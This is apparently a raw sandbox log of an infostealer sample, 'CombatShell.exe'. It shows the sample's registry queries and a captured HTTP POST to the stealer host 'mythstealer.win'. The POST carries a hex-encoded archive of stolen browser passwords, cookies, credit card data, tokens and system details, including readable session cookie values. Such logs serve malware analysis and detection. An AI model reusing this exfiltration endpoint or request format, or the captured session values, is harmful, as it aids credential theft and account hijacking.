type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "")4c:T45e9,"POST /myth/api HTTP/1.1 key: myth-e8552bc3-d60a content-type: application/octet-stream content-length: 5682 accept: */* host: mythstealer.win" with payload::==> "00:00:00:00:12:e5:00:00:03:37:00:0b:00:0b:00:00:00:00:06:05:4b:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:11:90:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:11:68:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:11:27:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:10:e9:81:a4:00:00:00:00:00:00:00:00:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:98:81:a4:00:00:00:00:00:00:00:00:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:59:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:02:16:81:a4:00:00:00:00:00:00:00:00:00:00:00:25:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:d6:81:a4:00:00:00:00:00:00:00:00:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:97:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:01:56:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:00:81:a4:00:00:00:00:00:00:00:00:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:0a:34:36:5f:36:38:78:20:92:86:e2:20:68:63:72:61:20:75:70:63:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:76:6e:65:20:70:6f:74:6b:73:65:64:0a:29:6e:6f:69:74:61:74:73:6b:72:6f:57:28:20:31:32:36:32:32:2e:30:2e:30:31:20:73:77:6f:64:6e:69:57:20:92:86:e2:20:6f:72:74:73:69:64:20:73:6f:0a:73:77:6f:64:6e:69:57:20:92:86:e2:20:6d:72:6f:66:74:61:6c:70:0a:7a:33:75:6e:64:65:73:79:74:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:74:73:6f:68:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:6e:65:63:69:76:65:64:0a:5d:22:53:55:2d:6e:65:22:5b:20:92:86:e2:20:65:67:61:75:67:6e:61:6c:0a:79:69:66:44:6c:50:47:20:92:86:e2:20:65:6d:61:6e:72:65:73:75:0a:0a:61:30:36:64:2d:33:63:62:32:35:35:38:65:2d:68:74:79:6d:20:92:86:e2:20:79:65:4b:0a:32:36:31:2e:32:31:2e:34:32:31:2e:34:36:20:92:86:e2:20:73:73:65:72:64:64:41:20:50:49:0a:7a:33:75:6e:44:45:73:59:54:73:6a:67:71:73:79:20:92:86:e2:20:65:6d:61:4e:20:43:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:34:09:70:74:6e:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:36:36:39:38:37:36:30:38:30:31:32:37:31:7c:32:34:34:33:09:6e:6f:69:73:73:65:73:5f:69:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:64:37:66:36:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:37:34:33:38:32:34:34:37:37:39:33:38:30:31:32:38:34:38:39:35:33:31:09:70:64:69:75:6c:74:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:69:6c:33:2e:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:2e:6f:59:51:4a:68:52:76:49:77:45:31:68:73:73:62:4c:42:42:7a:43:30:35:2d:4d:57:31:74:7a:6f:47:47:6b:70:42:76:65:2d:41:36:48:41:56:42:7a:79:64:70:42:39:76:63:6e:32:74:65:48:63:54:67:42:39:49:5f:2d:59:58:6b:64:6d:78:4a:4d:78:6c:48:09:44:49:4e:41:50:5f:52:44:4e:41:58:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:34:35:33:31:35:32:36:35:39:35:30:39:39:36:37:31:37:32:35:09:32:64:69:75:75:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:31:34:09:70:68:64:2d:6d:75:69:6d:6f:72:68:43:65:67:64:65:2d:74:6c:67:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:30:09:74:75:6f:74:70:6f:61:73:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:6f:6e:09:6e:69:5f:64:65:67:67:6f:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:22:57:43:7a:53:67:42:41:38:4c:75:76:6f:62:70:63:6b:44:34:73:65:4e:79:44:37:42:67:72:47:48:48:51:41:3d:67:69:73:3a:32:3d:76:3a:31:36:36:36:36:31:31:32:37:31:3d:74:3a:31:36:32:30:38:30:31:32:37:31:3d:69:3a:31:3d:78:3a:31:3d:75:3a:09:63:64:69:6c:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:5b:56:60:39:37:71:54:72:52:39:6c:66:6b:52:39:5e:2a:71:6b:56:4b:6e:2d:53:6c:6b:5b:69:62:36:32:60:3c:65:2a:6d:78:73:3d:62:59:69:50:62:2b:2a:66:65:24:36:4b:64:79:2d:42:4c:44:66:25:56:77:57:67:78:61:68:64:48:44:49:70:38:35:6f:52:24:74:5f:49:30:29:77:4b:09:6a:6e:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:73:78:6e:64:61:2e:0a:33:36:32:30:38:30:31:32:37:31:2e:33:38:38:33:34:31:36:39:32:2e:31:2e:31:48:47:09:6f:74:63:6f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:62:75:68:74:69:67:2e:0a:67:52:6e:49:4b:36:70:6a:43:4f:73:55:79:38:6d:75:45:68:62:46:4f:39:52:6b:6e:64:4d:63:4b:31:57:76:4a:6f:32:58:76:55:31:38:6c:45:6c:4b:70:51:6c:31:44:37:76:70:6f:4e:33:70:2e:5f:58:74:45:7a:6f:61:58:31:6e:42:39:47:5f:49:4c:44:61:32:54:47:63:44:38:58:43:61:64:6c:2d:31:2e:31:2e:30:2e:31:2d:31:36:32:30:38:30:31:32:37:31:2d:49:51:4b:70:44:76:6e:73:67:70:71:09:6d:62:5f:66:63:5f:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:64:69:67:6d:2e:0a:30:09:52:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:63:2e:0a:31:09:44:49:55:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:68:63:72:61:65:73:65:72:64:72:61:63:65:72:6f:63:73:2e:0a:33:33:34:38:39:35:35:31:35:37:30:37:31:3d:55:4c:26:34:3d:56:26:32:30:34:32:30:32:3d:56:4c:26:30:38:37:63:3d:48:53:41:48:26:38:34:38:34:34:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:0a:41:75:32:6c:63:46:77:61:4b:57:36:09:43:54:50:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:67:6e:69:62:2e:0a:22:33:61:31:36:62:62:66:37:65:09:65:69:6b:6f:6f:63:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:0a:39:35:33:31:43:37:25:30:43:37:25:34:6a:66:43:37:25:32:43:37:25:78:61:6d:74:7a:31:31:09:6b:63:6c:63:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:31:64:38:35:09:64:49:65:63:69:76:65:44:79:72:74:65:6d:65:6c:65:54:73:6e:6f:69:74:61:63:69:6c:70:70:41:74:66:6f:73:6f:72:63:69:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:38:30:32:30:35:32:30:32:2e:31:32:39:30:33:32:30:32:2e:09:44:49:4c:43:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:73:6d:2e:79:74:69:72:61:6c:63:2e:77:77:77:0a:31:09:6e:6f:69:74:61:63:65:72:70:65:64:2d:65:69:6b:6f:6f:63:2d:65:76:69:65:63:65:72:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:74:65:6e:2e:6b:63:69:6c:63:65:6c:62:75:6f:64:2e:0a:36:30:31:63:09:73:64:61:5f:63:75:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6f:63:2e:74:2e:0a:49:66:48:67:36:75:45:6b:4e:4a:51:4a:79:51:44:62:54:76:2d:54:6e:32:7a:58:65:6e:31:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:09:65:69:6b:6f:6f:63:5f:65:6c:62:61:6e:65:5f:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:3d:3d:41:41:41:41:67:4d:63:30:38:33:38:36:7a:73:52:49:46:4d:73:47:45:6e:56:6a:58:6e:6d:76:61:38:74:35:6b:79:6e:42:58:74:78:6a:59:58:35:64:6b:48:62:66:63:42:36:44:79:35:41:79:49:09:74:61:5f:63:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:61:68:63:70:61:6e:73:2e:0a:33:63:34:66:09:72:5f:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:33:63:34:66:09:64:69:63:73:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:73:39:74:6b:76:6d:7a:72:79:77:52:35:4a:71:70:48:4e:77:42:55:42:45:56:64:33:63:32:09:70:74:74:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6b:6f:74:6b:69:74:2e:0a:35:30:38:32:37:2d:38:30:34:37:31:32:34:34:33:37:30:37:31:2d:6d:6f:63:09:6b:72:74:5f:6f:74:6b:6d:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:7d:32:32:25:37:31:30:36:34:33:37:30:37:31:43:09:64:75:6f:6c:63:64:61:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:36:30:39:61:30:36:34:62:35:32:36:30:31:39:32:64:30:61:33:37:64:35:61:36:61:33:30:64:66:34:66:39:31:35:38:38:35:32:36:66:66:36:62:64:36:30:66:64:65:33:61:31:61:30:66:39:38:31:39:36:31:39:30:7c:66:33:38:62:64:32:38:37:36:61:34:36:33:61:64:32:37:32:66:38:65:33:64:62:66:39:38:65:33:30:37:31:31:38:62:09:74:70:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:76:74:2e:74:6f:70:73:69:2e:0a:6e:69:44:33:25:6c:61:72:65:6e:65:67:09:74:6e:65:73:6e:6f:63:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:31:41:33:25:34:30:30:30:43:43:32:25:31:41:33:25:33:30:30:30:09:74:6e:65:73:6e:6f:43:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:5a:31:32:31:2e:33:35:3a:36:31:3a:32:32:54:37:30:2d:32:30:2d:34:32:30:32:09:64:65:73:6f:6c:43:78:6f:42:74:72:65:6c:41:6e:6f:6e:61:74:70:4f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:36:37:31:32:36:33:39:38:39:39:36:36:09:67:72:4f:65:62:6f:64:41:30:34:25:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:56:43:4d:41:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:44:33:25:45:44:32:74:53:35:79:6f:48:41:38:41:41:6a:4d:53:39:30:41:71:45:41:47:42:41:52:4d:59:33:4b:6c:4c:6a:4f:43:53:49:6c:4e:33:45:6a:4d:32:4d:54:4f:34:6b:54:4f:32:59:7a:4e:30:49:54:4e:09:79:74:69:74:6e:65:64:69:5f:67:72:4f:65:62:6f:64:41:5f:35:34:44:30:39:34:41:30:41:43:31:36:44:45:31:35:35:41:35:30:30:31:45:39:5f:72:74:63:64:6e:6b:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:39:36:30:36:34:33:37:30:37:31:33:32:25:55:74:6d:4c:6b:4a:44:32:25:36:37:31:32:36:33:39:38:39:39:36:36:37:34:32:35:09:78:6f:62:6d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:77:65:4e:2d:33:30:37:39:30:32:34:34:33:37:30:37:31:09:72:6e:5f:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:65:62:6f:64:61:2e:0a:30:30:3d:44:49:53:09:53:53:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:0a:35:34:38:38:30:33:35:39:36:31:09:73:74:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:45:6d:55:6d:77:34:5f:7a:72:41:73:73:6b:2d:2d:43:09:64:69:64:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6f:69:70:70:69:70:2e:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:43:50:46:53:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:77:77:77:0a:39:37:38:30:34:38:38:30:33:35:39:36:31:3d:55:4c:26:34:3d:56:26:39:30:33:32:30:32:3d:56:4c:26:35:37:32:37:3d:48:53:41:48:26:33:33:32:36:32:09:31:43:4d:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:74:66:6f:73:6f:72:63:69:6d:2e:0a:22:45:36:46:34:2d:62:5a:54:70:37:39:49:4f:30:6b:76:57:33:6c:66:64:72:6d:4e:2d:75:46:7a:32:47:51:41:34:65:30:30:39:33:32:36:63:62:63:37:2d:66:65:61:38:2d:35:38:32:34:2d:09:65:69:6b:6f:6f:63:73:62:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:69:64:65:6b:6e:69:6c:2e:77:77:77:2e:0a:5a:31:31:3a:37:30:3a:35:31:54:31:32:2d:39:30:2d:33:32:30:32:3d:43:66:65:52:2e:44:33:33:31:36:38:38:33:37:46:45:34:45:30:46:42:32:35:32:34:37:46:30:46:42:34:43:44:35:42:33:09:74:65:6b:72:61:6d:74:70:73:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:6d:6f:63:2e:6e:73:6d:2e:70:74:6e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:25:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:22:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50:0a:31:09:31:2d:31:32:33:36:31:31:36:33:2d:41:55:5f:74:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:35:39:32:38:35:38:37:36:35:2e:32:2e:31:41:47:09:64:69:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:31:35:39:36:32:31:36:30:37:31:2e:38:33:35:34:37:35:37:37:31:2e:32:2e:31:41:47:09:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:0a:30:2e:30:2e:30:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:2e:30:35:39:36:32:31:36:30:37:31:2e:31:2e:31:53:47:09:57:51:51:51:37:36:37:37:51:4d:5f:61:67:5f:09:36:35:34:33:37:35:37:39:35:32:09:45:53:4c:41:46:09:2f:09:45:55:52:54:09:67:72:6f:2e:61:6c:6c:69:7a:6f:6d:2e:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:78:6f:66:65:72:69:46:2f:72:65:73:77:6f:72:62:00:00:00:1b:00:00:01:1d:00:00:01:1d:73:18:61:37:5a:dd:6f:3d:00:00:00:00:00:14:04:03:4b:50" HTTP/1.1 200 OK Date: Sun 29 Jun 2025 13:58:16 GMT Content-Type: application/json Content-Length: 36 Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Cf-Cache-Status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=run%2FX2zNNc5eunIzlWFinWy%2FfhGoEnAbDB10eqbZXO%2FWB3hSAN4CnMtNZBg6sVegxf%2BAeFS9%2B92yNCIYWJ1IE4okELDemTHiQH31p1JqCA%3D%3D"}]} Server: cloudflare CF-RAY: 9575f00cbb18face-SJC alt-svc: h3=":443"; ma=86400 with response body ==>37623A32323A37333A37353A36333A36333A36353A37333A37333A32323A33613A37343A37323A37353A36353A32633A32323A36643A36353A37333A37333A36.......4d:T42d0,host: mythstealer.win" with payload::==> "00:00:00:00:12:e5:00:00:03:37:00:0b:00:0b:00:00:00:00:06:05:4b:50:74:78:74:2e:6f:66:6e:69:63:70:00:00:11:90:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:01:2d:00:00:01:2d:db:ae:b0:a5:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:6e:65:6b:6f:74:00:00:11:68:81:a4:00:00:00:00:00:00:00:00:00:00:00:0a:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:11:27:81:a4:00:00:00:00:00:00:00:00:00:00:00:23:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:61:74:61:64:2d:62:65:77:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:10:e9:81:a4:00:00:00:00:00:00:00:00:00:00:00:20:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:65:69:6b:6f:6f:63:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:98:81:a4:00:00:00:00:00:00:00:00:00:00:00:1f:00:00:0e:14:00:00:0e:14:fa:88:33:f6:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:6f:77:73:73:61:70:2f:74:6c:75:61:66:65:44:65:67:64:45:2f:72:65:73:77:6f:72:62:00:00:02:59:81:a4:00:00:00:00:00:00:00:00:00:00:00:21:00:00:00:00:00:00:00:00:00:00:00:00:5a:dd:6f:3d:00:00:00:00:00:14:03:2e:02:01:4b:50:74:78:74:2e:73:64:72:61:63:74:69:64:65:72:63:2f:74:6c:75:61:66:65:44:65:6d:6f:72:68:43:2f:72:65:73:77:6f:72:62:00:00:02:16:81:a4:00:00:00:00:00:00:00:00:00:00:00:25:00:00:0